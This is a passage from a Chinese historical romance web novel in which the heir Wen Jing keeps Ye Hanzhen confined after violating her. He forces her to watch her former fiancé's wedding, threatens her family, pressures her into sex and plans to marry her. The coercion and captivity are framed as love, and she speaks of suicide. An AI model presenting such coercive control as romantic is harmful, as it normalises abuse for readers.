他想要她心甘情愿的嫁给他,就如她从前满怀期待望着温行松那般。
“温行松都可以另娶他人,你又何必一而再,再而三得拒绝我?我闻景哪一点比不上那个伪君子?”闻景气闷不已。
“是不是一定要让你亲眼看见他娶他人为妻,你才会真的放下他?”
他真的要娶别人了吗?
随着模糊的视线,渐渐变得清晰,叶含珍才抬手摸向自己的面庞。
她怎么又哭了?
人怎么会有这许多流不尽的眼泪?
原本处处闻啼的鸟雀声,蓦然变得寂静。凭栏处数不尽的暖风,也吹不散两人周遭的凝滞空气。
“闻景,你真的太贪心,”叶含珍不停抽泣道,“我说过,就算他真的娶别人,也只是因为我配不上他,而不是他三心二意。”
“你毁了我的清白,还要我心甘情愿的嫁给你,这比让我去死还难受,你知道吗?我会好好做你的侍妾,你的外室,甚至是你的禁脔,可是唯独不会做你的妻。希望你以后不要再说这样的话,否则我就选个如今日这般的好天气,从这里跳下去。”
也许只有死,才是她彻底解脱的办法。
她这番话让闻景不得不想起那日在清心庵时,她坚持落发出家的模样,心下没来得一阵紧缩,几乎疼得让他站不住脚。
闻景:“你不怕你死了,我会亲手毁了叶家?”
又是这种威胁她的话。
叶含珍受够了。
她一反常态,只笑吟吟道:“闻景,你也就只能骗骗我这种无知的闺阁妇孺而已。我父兄虽官职权势不如你,但也是正正经经科举出身的进士,岂是你一句话就能将叶府毁去的?还是说你要借六皇子的手,除去叶府?”
这些日子里,闻景没少收到六皇子府上送来的密信。
叶含珍在闻景身边时日一长,自然也就知道他与六皇子沈俞风的来往,不止表亲那般。
闻景:“看来你知道还挺多,难得我身边能有引起你注意的地方,我不仅感到有些意外,还有些开心。”
他揽着人的手慢慢将人拉至身前,将唇凑在她圆润可爱的耳珠旁,气息摄人:“你死了,温行松定然是活不成的。至于叶府,只要我将沈俞风推上皇位,那叶府是生是死,就是我一句话的事。”
“你真的是沈俞风的人?”
闻景望着她神色间的震惊,不屑道:“我本来是瞧不上沈俞风这种草包皇子的,只是我想了想,比起沈俞静这种不好拿捏的人,沈俞风也不错。至少,他不会像沈俞静那般不自量力,敢和我争你。”
眼下,沈俞静和沈俞风在朝堂上斗得昏天暗地。
沈俞风命手下的户部理事
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,克扣去岁朝堂下发的修渠银一事,被新上任的工部侍郎叶孝义,彻底捅了出来。沈俞静一派的老臣,便如见到血腥的蚊蝇,死死抓着此事不放,要皇帝从严处置。
这事闹了一个多月,皇帝才下旨斥责了沈俞风几句,禁足一个月。只是他生母柳贵妃在后宫的恩宠,却不丝毫减。
这样恶劣之事,就此揭过。
再加上张春的事,闻景隐隐有些猜测,却不好告诉叶含珍。
“珍珍,你逃不掉的,此生,你只能做我的妻。”
叶含珍被闻景这句话彻底定住,连方才唇边的讥讽,都来不及收起。
他眼里的光亮得摄人,她也好像是重新开始认识眼前的男子。
四月初六,宜嫁娶,宜采纳,宜裁衣。
叶含珍这日午后小憩后,便被闻景带着出了门。
听着窗外不断传来的吆喝声,叶含珍看向正闭目养神的闻景。这人不知怎么了,自从上次两人在望月楼上争执一番后,便越发处处顺着自己。
只除了榻间。
“…….热气腾腾的炊饼,宣软的油饼,一文钱一枚,童叟无欺!”
“哎呀!这是谁家的小孩?撞得我腰疼。”
“公子,看看这首饰,比起银楼里的货,也差不了多久,不如顺手拿一件吧?”
街上的热闹喧哗,只让马车里的沉默越加清晰。
忽不知哪里飘来的一阵清风,直直扑至闻景下颌,他才睁开双眼朝风来的方向望去。却见是叶含珍正掀着马车窗帘,朝街上看去。
“想下去走走吗?”
叶含珍手下一松,窗帘便很快遮住外间的喧嚣。她摇头:“不用,我看一看就好了。”
长久待在梨花巷那座鸟笼里,乍然听闻这街上的热闹,让她有些忍不住去悄悄看一眼。
终于到了目的地,车也稳稳停住。
闻景率先起身出了马车,候在车旁,等着叶含珍戴好帏帽出来。
等道那抹身影从马车里钻出来后,闻景伸出手握紧她的掌心,将人稳稳扶下马车。
“泰居阁。”
叶含珍站稳后便松开闻景的手,抬手轻轻掀起一侧轻纱,启唇道。
“走吧,就是这里了,”闻景上前一步,将人扶住,“小心脚下。”
直到三楼厢房的门被闻景亲自关上,叶含珍才小心翼翼地摘下头上戴的帏帽。
没了眼前的遮挡,眼前瞬间亮堂起来。
叶含珍好奇得环顾屋子四周一圈后,朝已经落座饮茶的闻景问道:“你带我来这里做什么?”
“没什么,只是见你逛腻了园子,带你出来透透气而已,”他指着桌案上的各色茶点,“这些是我让人准备的,都是你爱吃的,用些吧。“
叶含珍不明所以,但看闻景神神秘秘的模样,就知不到最后,他是不会告诉自己来这里目的。
算了,她不想下了床榻,还要求他。
两人就这么静静坐在屋内,直到日头西斜时,叶含珍才听见除了街上的喧闹声,还隐隐约约传来一阵喜乐声。
这是谁家在办喜事吗?
49. [锁] [此章节已锁]
叶含珍侧目望着闻景的下颌,却见他也在这时转过头来,眼里浮现着让人难以捉摸的复杂。
倏然间,叶含珍神情骤变。
手里还未来得及放下的茶盏,瞬间坠地。这茶盏一摔,不仅摔得茶水四溅,粉身碎骨,就连叶含珍身上的绿烟锦裙都被泅湿一片。
“走,去瞧瞧哪家在办喜事?咱们也沾沾他们的喜气。”
闻景不由分说得牵住叶含珍悬在半空的手腕,缓缓朝临街的窗户走去。
这泰居楼共有三层,今日闻景一人就包完了整栋楼。
掌柜的见是郑国公府的世子带着人来,早早就打发了伙计们去后院里待着,不许他们乱窜。
两人齐肩站在临窗处,静静听着越来越近的喜乐声和鞭炮声,还有夹杂着稚童的欢呼声。
直到能远远望见大红的仪牌,和拥挤成一团的人山人海,那喜乐声几乎要在叶含珍脑海里炸开。
眼瞧着喜气洋洋的队伍越来越近,叶含珍不由前倾着身子,去望那坐在系着大红绸花马匹上的身影。
却见坐在马背含笑谦和的男子,眉眼极为清俊。
更不提一袭红得扎人眼的新郎喜服,和他胸前硕大饱满的绸花,衬得他春风满面。
彷佛这世间再无任何事,能令眼前的男子烦忧。
“……行松,温行松。”
叶含珍低喃着那人的名字,眼眸里的泪水砸在地板上,瞬间如先前坠落在地上的茶盏,四处飞溅。
只是这微弱的声音,只有她身边的闻景听到。
“看见了吧?他其实不是非你不可的,”闻景紧紧牵着她的手腕,讥讽道,“没了与你的婚事,温家会给他寻摸一家更好的姻亲。只有你,还对他念念不忘。”
“……”
叶含珍试图张口说些什么,最后却都以失败告终。
她要说些什么呢?
迎着那人离自己越来越近的身姿,叶含珍只死死咬着下唇,不肯漏出一丝痛苦。
原本此刻天边夺目的霞光,都在她眼中褪去颜色。
只剩无边无际的黑暗,像她袭来,压得她忍不住弯下背脊。
可是再多的眼泪,也不能彻底模糊那人脸上的喜色。
闻景知道她今日会难过,会心痛,可是他没有想到眼前人会这么痛不欲生。
听着她压抑痛楚的低低哭声,闻景内心也如刀搅一般喘不上气。
可是,若今日不能彻底让她死心,只怕他们之间,绝无重新开始的希望。
所以他让人打听好了温陈两家结亲的日子,还有迎亲的必经之路,专门带着她走这一趟。
“珍珍,你将心交给我,好不好?”
闻景喘息一口,用力拉起已经站不住脚的叶含珍,将人面朝着自己,“我闻景发誓,我此生只要你叶含珍一人。只要你现下点个头,我就进宫求旨赐婚。”
“……闻景。”
“我在这里。”
闻景闻言她的呼唤,神情登时紧绷起来,双目紧紧凝视着几乎已经哭得要昏倒的叶含珍,等着她对自己的宣判。
“我真的不明白,你为何非要强逼我至此?我已经认命了,你却还要戳破我心中最后一丝幻想,你这样做,是觉得我还不够痛吗?”
若是今日没有亲眼见温行松迎亲,她或许还能在梦里看看那人掀她盖头的模样。
只是这一切都不会再有了,闻景亲手斩断了她的梦。
闻景正欲出言,却被叶含珍倏然打断:“京中贵女无数,就连宫里的那几位公主都倾心于你。你要娶妻,多的是人愿意嫁给你,为何你就要捏着我不肯放手呢?还是说你就喜欢抢旁人的,见不得旁人过得开心?”
就算闻景在京里的名声冷峻了些,有些胆小的闺秀怕他,但还是有不少贵女都对他有意。
温行松。
温行松。
叶含珍心里默默念着那人的名字,好像这样多念几遍,他就能从响彻大街的喜乐声里,听到自己的声音。
闻景被叶含珍问得哑口无言。
只是下一息,他便按着叶含珍的肩膀,强迫着她望着自己。
“我是在逼你,”也是在逼他自己放过他们从前的亲密,“可是,我能怎么办?”
“贵女也好,公主也罢,在我眼里从来都只有一个你。我要什么便去争什么,不要的,我闻景看都不会看一眼。”
叶含珍不想再看见近在眼前的这副面孔。里面有她看不清的偏执,有她不愿意接纳的爱意,还有令她畏惧的纠缠。
只是闻景却不肯饶了她,低头将前额抵在她的翠眉上,将两人的视线交汇成一条河流。
他抬手拭去叶含珍眼角源源不断滚落的泪珠:“……珍珍,你看看我,好不好?”
“啪!”
叶含珍用尽力气扬手在闻景脸上落下一掌,打得闻景不禁侧过头去。就连她打人的那只手掌,都还微微颤抖在半空中。
闻景被这一巴掌彻底打醒。
他松开桎梏叶含珍的手,往嘴角处一抹,一丝嫣红便跃进眼帘。
舔了舔被打破的唇,一股血腥瞬间充斥在喉间。
叶含珍被他云淡风轻的模样吓坏了,身子不由自主往窗边靠去。
“别怕我,”闻景滚了滚喉间,将那抹腥气彻底咽下,“你打我个巴掌而已,打就打了。比起我伤害你的事,算不得什么。若是你打我几个巴掌,就能彻底放下从前,那还是我闻景赚了。”
“……打吧。”
闻景低头将面庞凑在叶含珍眼前,坦然自若道:“若是嫌打我手疼,你还可以踢我,咬我,怎么样都行。”
叶含珍收回僵硬的手,转身却向窗边望去。
迎亲的队伍已经离她越来越远,那人高坐在骏马上的身姿也渐渐缩小。
脑海蓦然想起许多年前,她站在海棠树下听他表白心意的那天,那时的天,也如此刻绚烂。
只是再绚丽的晚霞,也会随着乌金西坠,被黑暗彻底席卷。
“温行松!温行松!”
叶含珍趴在窗沿上,纵声呼喊道。
“温行松,你说你只会娶我的……你说过的!”
只是她拼劲全身力气的呼喊,很快就被街上的热闹和喧嚣淹没,只留下断断续续的急喘声和抽泣声,环绕在她耳畔。
闻景见她哭着从窗沿上滑落跌坐在地,深吸一口气将泪水憋回去,才蹲下身将人从地上抱起。
“走吧,我们该回去了。”
而已经这时行至桥上的温行松,若有所思得往身
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后望了一眼。
方才,是有人在唤自己吗?
“公子,您在看什么呢?新夫人还等着您去接亲呢。”
“无事,只是好像听见有人在喊我,”温行松压下心头陡然升起的异样,朝牵马的小厮道,“走吧,应该是我听错了。”
这里是大街上,怎么会有人唤自己?
温行松失笑一声,摇了摇头,又继续领着队伍往前走。
*
眼见这天气一天比一天暖起来,白枝早早领了婆子,将主子们日常坐卧屋子的窗户,都用茜纱掩住。
这样,既不影响通风换气,还能将花蕊里生的飞虫挡在外面。
别看这虫子小,要是一不注意被叮上一口,起的的红点要痒数日,才能完全消退。
如今玉兰已谢,只剩满树碧叶还伫立在盛阳下。
一只粉蝶从树荫下穿出,不去院子里正怒放的茉莉花丛里,却停在窗沿上扑扇着翅膀。
细细听去,屋内只传来悉悉索索的声响。
“……闻景。”
“最后这一次。”
闻景低喘着,将两人早就汗湿的额头抵在一处。
及地的纱幔后,是连春风都吹不散的热意。
叶含珍无力地仰躺在玉枕上,听着床角上悬挂的银铃发出清脆的声响。
叮铃——叮铃——
每一声铃响,都会逼得她忍不住开始低低嘤咛求饶。
可是,要求他什么呢?
叶含珍想。
求他停下来,还是求他快一点结束?
都没有用。
还没来得及等她理清思绪,闻景的唇便又覆在她眼角处,慢慢吻干她的眼泪。
滚烫的唇带着摄人心魄的男子气息,在她周身游走。
仿佛置身于火海,她便是火海上被人炙烤的鱼肉。
闻景在那两瓣绯唇上轻咬一下,很快就听到一声嘤咛。
十指相扣,再没有比这更近的距离。
掌心相贴,没有人可以分开他们。
直到察觉她眼角又溢出清泪,闻景才挪开薄唇,在她耳畔呼气:“……唤我斓清。”
“……唤一声,我今日就不再欺负你。”
是吗?
叶含珍缓缓松开被扣住的掌心,神情有些动摇。
只叫一声他的字,今日就可以解脱吗?
手上的力道才卸下,便被人牵着那处结痂上,慢慢抚摸着。
完全和其他的皮肤不一样,带着微微的凹凸不平,让人忍不住避开滚烫的肌理,蜷起手指。
“……斓清……斓清。”
莺啼婉转。风雨飘摇。
闻景抱着人不停地在她发间,额头落下亲吻。
此刻,只有他清楚自己久久不能平复的神魂激荡。
一只男子的大手从帐子里伸出,将垂下的床帐利落挽在玉挂钩上。
闻景给人拉好被子,盖住满身的春光,就穿着一条黑缎寝裤,下了地。
斟一杯温茶,坐在床前给躺在床上喘息的人哺下,见她摇头不张口后,便仰头将杯子剩余的茶水,一饮而尽。
“昨日才下过雨,不好出门。等后面几日放晴了,我便腾出半日来,陪你去京郊踏青,如何?”
50. 沉沦
闻景侧身坐在床边,用干爽柔软的帕子给人慢慢拭去额间的汗。
等了半晌,才听到叶含珍的拒绝。
“……不用,我不想出去。”
既然无论如何都逃不开眼前人的掌控,那不如在这深宅大院里,老老实实得躲起来。
她实在想不到若是有人问起她的身份,她该如何回应。
叶含珍心里很清楚,她叶家小姐的身份是不能再用了。
“这宅子虽修的不错,但和京郊的景色比起来,还是差得远,”闻景诱惑道,“等去了京郊,我再去打只兔子来,给你烤着吃,怎么样?”
“我行军多年,烤兔烤鱼的手艺不比厨子差,你要不要尝尝?”
闻景继续卖力引诱。
叶含珍眼珠微动,只裹紧身上的被子,朝床里翻身:“世子还约其他人踏青吧,我实在是不想动弹。”
“我约谁?”
“……随便,”叶含珍打了个哈欠,蹭了蹭怀里柔软的锦被,“世子愿意约谁就约谁,只别打搅我就行。”
“那我就喜欢打扰你,就只想约你,怎么办?”
叶含珍闭眼听着闻景无赖般的话,根本不予理睬。
闻景将手搭在她肩膀上,俯身道:“……你不想不去也行,那我们就再来一次,反正比起踏青来,我更喜欢和你共度鱼水之欢。”
叶含珍闻言瞬间睁开双眼,转头去看一脸不怀好意的闻景,颤声道:“闻景,你究竟想带我出门做什么?”
她不信闻景就只是单纯的想带她去京郊。
那日自泰宇楼回来后,叶含珍便彻底破罐破摔,对闻景予取予求。
她想得很清楚,就算她不愿意,难道闻景就会停手吗?
不会,他不会停手,甚至会更得寸进尺。
既然这样,她何不让自己好受些?
比起一闭上眼,就是那人一袭大红喜服的模样,叶含珍也宁愿将自己沉溺情欲里。
好像只有这样,她心里那块空洞,才不会那么疼。
“我还能做什么?我不过是见你逛园子逛的腻了,想带你出门走走,散散心而已,你却不肯松开答应我。既然你实在不想出门,我不为难你还不行吗?”
闻景说得坦然自若,只是叶含珍却仍不相信他的鬼话。
“我不去,我哪里都不会去,”叶含珍仍拒绝道,“世子爷若是腻烦了在这宅子里待着,尽管约别人去游山玩水,不用一直守着我。”
闻景见她油盐不进,抬手便去掀被子,“……算了,懒得和你争,不想去就算了,那我们再来一次。”
身上传来的凉意,惊的叶含珍几乎要跳下床去,她实在是招架不住闻景的热烈。
只是很快就被覆身而上的闻景压制住。
“闻景,闻景,你不能说话不算数,”叶含珍含泪挣扎道,“你方才明明说今日不会再欺负我的,你又骗我,又骗我!”
方才明明是他说只要唤他一声字,他今日就不再欺负自己的。
他怎么能又骗自己呢?
闻景听完叶含珍的惊呼声,扬唇一笑:“再叫我一声字来听听,我喜欢你唤我的字。”
“……斓清,我不想去踏青。”
“再叫。”闻景变本加厉。
“斓清。”
闻景听着她细软的嗓音徐徐喊着自己的字,心里尖淌过一股热意满涨,熏得他眼角发红。
只是手下动作却真的如他所说,停了下来。
叶含珍小喘着气,惊魂未定得望着眼前笑得开怀的闻景。
如今雪青和青莲仍被闻景关押着,那些避子的丸药只有青莲知道藏在何处。
她得想些办法。
“斓清,”叶含珍像是已经知道该如何讨好闻景,轻轻唤着他的表字,“可以让雪青和青莲回来伺候我吗?”
“怎么又想起她们俩?是白枝和青渚她们侍奉得不合你心意吗?”
她主动虽唤他的表字,但闻景实在不愿意让那两个丫头留在她身边伺候。
叶含珍摇头:“没有,白枝和青渚她们侍奉得很好,是我习惯了身边有雪青和青莲。她们自小就陪着我,从来都没有分开过这么久,我想她们了。”
她这话刚落音,闻景唇边的笑意便瞬间凝住。
仿佛只过了瞬息,又好像过了万年,叶含珍才听到闻景说了一句“不行”。
随后便是闻景起身离开床榻的动静。
她转头顺着闻景渐渐走向外间的背影望去,心底渐渐浮现一丝不安。
等到闻景交代完下人准备好沐浴之事,回到内室后,便望见窗户前站着一个人影。
乌发随风飘散在她身后,宽大的寝衣像是她的翅膀,好似下一瞬间,她就要翩跹而去。
叶含珍忽觉肩头一沉,侧目看了一眼,一件秋香色的披风搭在她肩上。
随之而来的是那人不容忽视的温热怀抱。
“等再过一段时间,我再让你的丫头回来伺候你,这段时间不行。”
闻景从身后拥着人,低头面贴着面,贪婪得呼吸着她耳后的香气。
“珍珍,”闻景吐气道,“以后,你就唤我的表字吧,我喜欢听你这样唤我。”
他不止在榻间要她如此唤他,他还要她时时刻刻都这样唤他。
“回世子爷,热水已经在浴房备下了。”
屏风外响起青渚的声音。
闻景头也不回,将叶含珍打横抱在怀里,稳步往浴房的方向走。
“把门窗都关好,再把床榻收拾一下,”闻景吩咐着,“告诉厨房,今日晚上的汤要鸽子汤。”
“是。”
青渚应下。
整个浴房被热意笼罩,一旁燃着的甜梨香,顺着水汽铺满每个角落。
叶含珍趴在浴桶边上有些昏昏欲睡,两只眼皮不停地打着架。
好好午后小憩,被闻景闹得不得安生,害得她这会就想爬上床,好好睡一觉。
闻景原本一心一意的得替她擦着背,只是擦着擦着,欲心又起。他停下手下的动作,却发现人已经趴在浴桶边一动不动睡着了。
闻景不敢让她在水中多待,起身抓着放在托盘里的宽大巾子,将人裹好,安置在已经干爽柔软的床榻上。
叶含珍这一觉睡得沉,连闻景唤她起床用晚膳也不理,只抱着锦被酣睡。
“让厨房晚上别熄火,将汤给煨上,等她半夜饿了再让人送过来。”
闻景见叶含珍实在睡得沉,只好一个人匆
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匆用过晚膳,又吩咐丫头给她留些吃的。
只是等到叶含珍再次睁开双眼时,内室里已经洒满了曦光。
闻景翻了个身,将人往怀里一捞,凑近道:“睡好了吗?你这一觉睡得久,连昨天的晚膳都没有吃,这会饿不饿?”
“……饿。”
叶含珍不仅饿了,还渴的厉害。
“闻景,我要喝水。”
“不对,你再叫我一次。”闻景没见过这么理直气壮使唤人。
昨日午后的胡闹景象,渐渐浮现在脑海里。
叶含珍深吸了一口气,踌躇半天才道:“……斓清。”
“呵!”
这声表字彻底取悦了闻景。
他笑吟吟得起身给叶含珍斟了一杯茶水,递到她唇边,看着她小口小口喝了半盏。
“还要吗?”闻景柔声道。
叶含珍摇头,“不要了,我要起身更衣,斓清去叫她们进来吧。”
“好。”
闻景就着手里剩下的半盏茶水,仰头喝完。
随后又开了房门,让早候在门外的丫头婆子们进来伺候。
午后暖风徐徐,叶含珍坐在窗边的罗汉榻上翻着书,抬头就见青渚领着两位妇人,正站在榻前给她请安。
青渚:“小姐,这两位是京城彩衣阁的管事,今日特来替小姐量尺围,做衣衫首饰的。”
叶含珍两眼茫然望向书案后奋笔疾书的闻景,却听到闻景道:“是我让她们来的。”
“你别忘记你答应过我,过几日要去给母亲拜寿。”
经闻景这么一提醒,叶含珍原本洁白的耳垂,蓦然红得滴血。
她本以为这只是闻景榻间故意逼她的借口,只是没想到,闻景竟然真的要自己去郑国公府,参加舜华郡主的芳辰宴。
闻景写完一封折子,落笔朝青渚道:“开始吧,量完之后,小姐还要选衣料和首饰,不要耽误吃晚膳的时辰。”
“是。”
白枝得到主子的嘱咐,很快就扶着叶含珍进了内室。
两个管事顺利得了各项尺寸,又抱着一摞料子累在酸枝圆桌上,请叶含珍挑选。
听着两位管事热情的介绍,叶含珍放眼望去,却见摆在眼前的衣料,不过就是些女儿家常穿的颜色,并没有什么值得细细挑选的地方。
闻景抬头瞟了一眼叶含珍毫无波澜的神色,细心道:“没有喜欢的吗?”
“不是,”叶含珍摇头,“这些料子都很好,只是我还有许多未穿过的衣裳,实在不必再做。”
闻景听完放下手中的狼毫,朝青渚道:“再去库房里选些料子来,要适合小姐穿的。”
青渚屈膝应下:“奴婢遵命。”
见叶含珍似要解释的模样,闻景抢先一步道:“既然这些都看不上,那就再换一批料子。我库里的衣料放着不用,也只有白白霉坏了。”
狡辩!
叶含珍才不会信他的鬼话。
虽然闻景还未娶亲,但他有母亲,有妹妹,如何会将料子放坏?
青渚带着人开了库房,约莫两盏茶后,就抱着几摞华贵耀眼的料子,踏入房门。
“这些如何?可有瞧得上的?”闻景指着摆着罗汉榻上的衣料道。
51. 名正言顺
叶含珍细细看了几遍上面的纹路,摇头道:“还是就用先前的那几块料子吧。你的这些衣料好是好,但是我用却不合规制。”
“我是去给舜华郡主祝寿的,不是去踢门的。”
“哈哈哈哈!”
闻景被叶含珍的话,逗得大笑不止。
直到笑够了,闻景才一脸揶揄道:“没事,这上面没有逾制的地方,只是华丽了些。罢了,我听你的话,这些料子就先放起来,等到我下聘时,再当做聘礼送到你们府上去。”
叶含珍只装作没听到闻景的胡言乱语,朝青渚道:“天气渐热,先前的那批料子里,就捡些碧色和青色来做衣裳,这样瞧着也清爽些。”
青渚转头望向闻景,见他默默点头,才屈膝应下。
等人都散去,闻景也不再回书案后,牵着叶含珍往腾空的罗汉榻上坐下。
“寿宴那日,我已经嘱咐了闻雅和闻菲,让她们陪着你。等我在前院忙完了,就带你去我父亲的书房,也让他见一见郑国公府未来的世子夫人。”
虽是他父亲亲口要求见一面她,但他也知自己的婚事不能再拖了。
这几日,皇帝都开始明里暗里说起要给他赐婚的事。
闻景不用人去打听,也知道定然是有人在皇帝面前说了什么,只是他不会让他如愿的。
等寿宴后,他母亲就会派人去叶府提亲。
叶含珍垂下眼眸,手指不停翻绞着帕子,不安道:“闻景,我们就这样过下去不好吗?”
如今他已经达到目的,他要怎么都可以,何必如此大费周章,搞得兴师动众呢?
她不求名分,只求清净。
闻景:“不好。”
他说要娶她的话,从来都不是玩笑话。
而且,说不定再过一段时间,他就要当父亲了。
“我……”
“珍珍,你既然愿意和我在一起,那何不做我名正言顺的夫人?这样,你也不必一直关在这梨花巷里,”闻景诱惑道,“等你嫁给我后,京里的宴席随便你逛,就连你想何时见你叶家的人,都有你说了算,我绝不会阻拦。”
嫁给他有这么多好处吗?
叶含珍打量着闻景眉间的神色,看他不似说谎的样子。
叶含珍:“你都安排好了,我就算再不愿,也只是徒劳。”
她话语间的无奈,让闻景有些难受。
明明她不再像从前那般激烈得反抗自己,为何他会有想回到从前的冲动?
闻景沉默半晌,伸手将人靠在自己肩上,徐徐低语:“抱歉,我只是不想让人伤害你,才叮嘱了闻雅和闻菲照看你,并不是要拘着你。至于见我父亲一事,确实是是我自作主张定下的。我虽与他不睦,但他毕竟是我的父亲,他若是也赞同我们的婚事,想来也没有人敢指摘你什么。”
叶含珍听明白了闻景的意思。
他这是要郑国公府承认她,认可她。先有舜华郡主的妥协,再加上郑国公的点头,这门婚事确实是可以说是板上钉钉。
说起舜华郡主的妥协,叶含珍不免想起闻景那夜淋着大雨回梨花巷的狼狈模样。
那是他将自己从清心庵带回的第四日,舜华郡主就派了人来请闻景回国公府。
也不知闻景到底和舜华郡主说了什么,等叶含珍被青渚和白枝唤醒,撑着油伞踏出房门时,闻景就那样直挺挺站在雨中,任风吹雨打。
“……是她们吵醒你的吗?”
“闻景,你站在这里做什么?”
无边无际的暗夜被闪电劈开,耳边骤然间全是不断地隆隆雷鸣声。
叶含珍撑着伞,一步一步走至闻景身前,踮起脚举着伞将人罩住。只是这雨实在是太大了,这伞根本遮不住两个人,很快,她的裙裳便都湿透了。
闻景用力抹了一把脸上刺眼的雨水,沉声道:“你快回屋去,不用管我,就让我再这里待一会就行。”
叶含珍不知道闻景为何这副样子,但他胸口的结痂还未脱落,实在是泡不得水。
“闻景,你和舜华郡主吵架了吗?”
“……珍珍很聪明,一下就猜到了,”闻景唇边漾起一抹苦笑,继续道,“我说我不愿意娶礼国公家的小姐,让她不必再操心我的婚事,气坏了她。”
原来是为了这个。
叶含珍咬唇道:“那你听她的话,娶严小姐就不会气坏她。”
话刚说完,划过天际的闪电,将闻景的面容照得清清楚楚。叶含珍举着伞的手抖了抖,却被闻景一把握住手臂。
“不行,其他事我都可以随她的愿,只是这件事不行。”
借着闪电的光,叶含珍看清闻景脸上的坚定,也看清他的自责。
这一瞬间,她竟不知这事该怪谁。
“那我是不是也要站在这里淋雨,向舜华郡主赎罪?”
若是不是因为她,闻景也不会和舜华郡主闹得这么僵。
她虽是被逼,但也是罪魁祸首之一。
闻景吸了吸气,将雨伞往叶含珍头下倾斜,摇头苦笑:“你没错,这一切都是我逼你的,你也是被我伤害的人。”
雨很快就再次浇淋在他头上,顺着伞骨落下的水线在地砖上溅起一朵朵水花。
闻景说完当即就掀开袍角,朝正屋的方向跪下。
“你进屋去,不必理会我,等我受完罚,自然就会进屋的。”
冰凉沁人的雨水,将一股股寒意塞入叶含珍脚底,再由脚底蔓延至全身。
她打了个寒战,颤声道:“……闻景,随我进去吧,你这样淋雨,郡主知道了会担心的。”
“来人!”
闻景大喝一声,“去将小姐送回屋子更衣去。还有,今日是谁请的小姐,自去管家那里领五鞭,免得我下手更重。”
廊下的丫头们隔着雨幕听到闻景的怒喝,很快就举着伞到院中,将人请回了屋。
叶含珍一步三回头望着闻景跪在雨中的身影,眼里全是她说不清,道不明的酸涩。
“……娘亲最后还是拗不过我,答应了我娶你为妻的事。”
这是闻景淋完雨,站在廊上,对叶含珍说的第一句话。
外间嘈杂的雨声,顺着风涌进屋里,带着一抹让人难以忍受的潮意。
雷轰渐歇,只有屋内跳跃的火烛,才给人些许暖意。
叶含珍被人引进郑国公府时,还未走至垂花门处,便被迎上来的闻菲亲热拉住。
“叶姐姐,你来了。”
叶含珍朝她一笑,随即又朝她身旁的另一位梳着妇人发髻的丽人看去。
闻菲:
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“叶姐姐,这是我三姐闻雅,你就和我一起叫姐姐就行。”
今日是舜华郡主的芳辰,闻雅早半个月前便和她夫君从冀州回京,为母亲祝寿。
只是落脚的第二日,就被闻景寻上门,这般那般交代一番。
面对兄长的嘱托,闻雅也很想见见她未来的大嫂。
叶含珍屈膝福身道:“见过闻三小姐。”
闻雅见她进退有度,便也含笑着将人往里面迎:“叶小姐请!”
郑国公府本就是本朝所剩不多的公侯,又兼娶了舜华郡主这个很得皇帝青眼的堂妹,可以说一句“烈火烹油”也不为过。
今日是舜华郡主的芳辰,不仅京里众多数得上名号的官宦人家来了,连宫里的几个皇子公主,都早被郑国公府的几个主子亲自给迎进大门。
开宴前,闻雅同闻菲便带着叶含珍去高朋满座的花厅里,给舜华郡主拜寿。
“工部侍郎叶家小姐到!”
叶含珍随着唱喏声,缓缓踏入厅内。走至大厅中央,才停下行礼道:“含珍给诸位公主殿下请安,恭祝郡主春满瑶池,懿徳寿考。”
舜华郡主抬眼扫过堂下亭亭玉立的妙龄女子。
只见她今日穿着一身藕荷色,绣着暗纹缠枝莲绫纱的齐胸襦裙,上身则是碧桃天青色袖衫。
腰间系着攒珠络子,越发显得纤腰盈盈,不堪一握。就连坠在她耳上的珊瑚珠子,都分外耀眼。
眉翠如石,樱唇雪颊,大抵也就是她这副模样吧。
舜华郡主面上不显多余神情,转头看了一眼侍女手里托盘的物件,启唇道:“叶小姐请起,今日虽是我的寿辰,但叶小姐的礼也太贵重了,这怎么使得?”
明明她准备的是些闲时绣的一些绣件,可是闻景非要让她送这对八宝攒梅冰裂天青玉瓶,还说舜华郡主一定会喜欢。
叶含珍:“这玉瓶虽贵重,但能得郡主您些许喜欢,便是它们的福气。”
周遭的低议声自她进来后,便没有断过,既然已经答应闻景要给舜华郡主祝寿,那这一点为难,也在她意料之中。
“母亲命人收下吧,”闻菲抱着舜华郡主胳膊,撒娇道,“我挺喜欢这对玉瓶的,等那日母亲要赏我什么,便将这对玉瓶赏给我。”
“你这个鬼精灵,连你母亲的寿礼都打着主意!”
舜华郡主知道女儿是要维护眼前的女子,只得在她额间轻轻一敲,才转头朝叶含珍道:“菲儿失礼,还望叶小姐海涵。”
“紫燕,收下贺礼,领叶小姐落座吧。”
“谢郡主赐坐。”
叶含珍道过谢,一名女婢很快就将叶含珍引至空座上,亲自端来一盏茶水奉与她,才缓缓退去。
放眼望去,只见这花厅建得极大,西边还连着水榭。
厅中的歌舞,乐曲,和不断敬贺的声响,将整个花厅的氛围烘得极热闹繁盛。
许是饮多了茶水,宴至一半时,叶含珍朝一旁的闻菲小声道:“四小姐,我去更衣,很快就回来。”
闻菲听她要离席,便朝身后的丫头招了招手。
“叶姐姐,现下厅里正跳梅花三弄,我让我的丫头陪你去,好吗?”
叶含珍见她眼神迷离的模样,忍不住笑道:“好,我只是去更衣,不会走远的。”
52. 看人下菜碟
闻菲的丫头很是伶俐,见贵人要更衣,便直接带着人去府里准备好给客人更衣的院落,自己则寸步不离得守在房门口。
叶含珍在屋子里休息了约莫一盏茶的时间,才打开房门。
“叶小姐,奴婢陪你回席上。”
叶含珍点头,依旧跟着丫头身后,顺着游廊往丝竹声传来的地方走。只是路过一处挂着紫藤的假山时,才发现腰间的荷包少一个。
今日来郑国公府替舜华郡主祝寿的人多,她的荷包丢了事小,只是万不能被男子拾去。
大齐的风气虽没有前朝那般严防死守,但闺阁女子的荷包若被外男捡走,也是说不清的麻烦事。
“许是落在客院里,待我回去找一找。”
闻菲的丫头听闻叶含珍要回头去寻荷包,便自告奋勇替她跑一趟,让叶含珍在假山一侧的石凳上坐会,她很快就回来。
叶含珍望了望越来越高的日头,知道自己走得慢,当即点头:“好,那就麻烦姑娘替我走一趟了。我就在此处坐着,不会乱走动的。”
丫头见她坐在紫藤下,四周也时不时有下人来往,便放下心来,朝客院走去。
不知从哪里吹来的一股清风拂过,那挂满身后假山上的紫藤,便如紫色的海浪起起伏伏。
叶含珍瞧着有趣,不免抬手去抚结的密密麻麻的花苞。
正得趣时,却隐隐听到有人在交谈。
“娘子可是哪里不舒服吗,这么脸色这么差?”
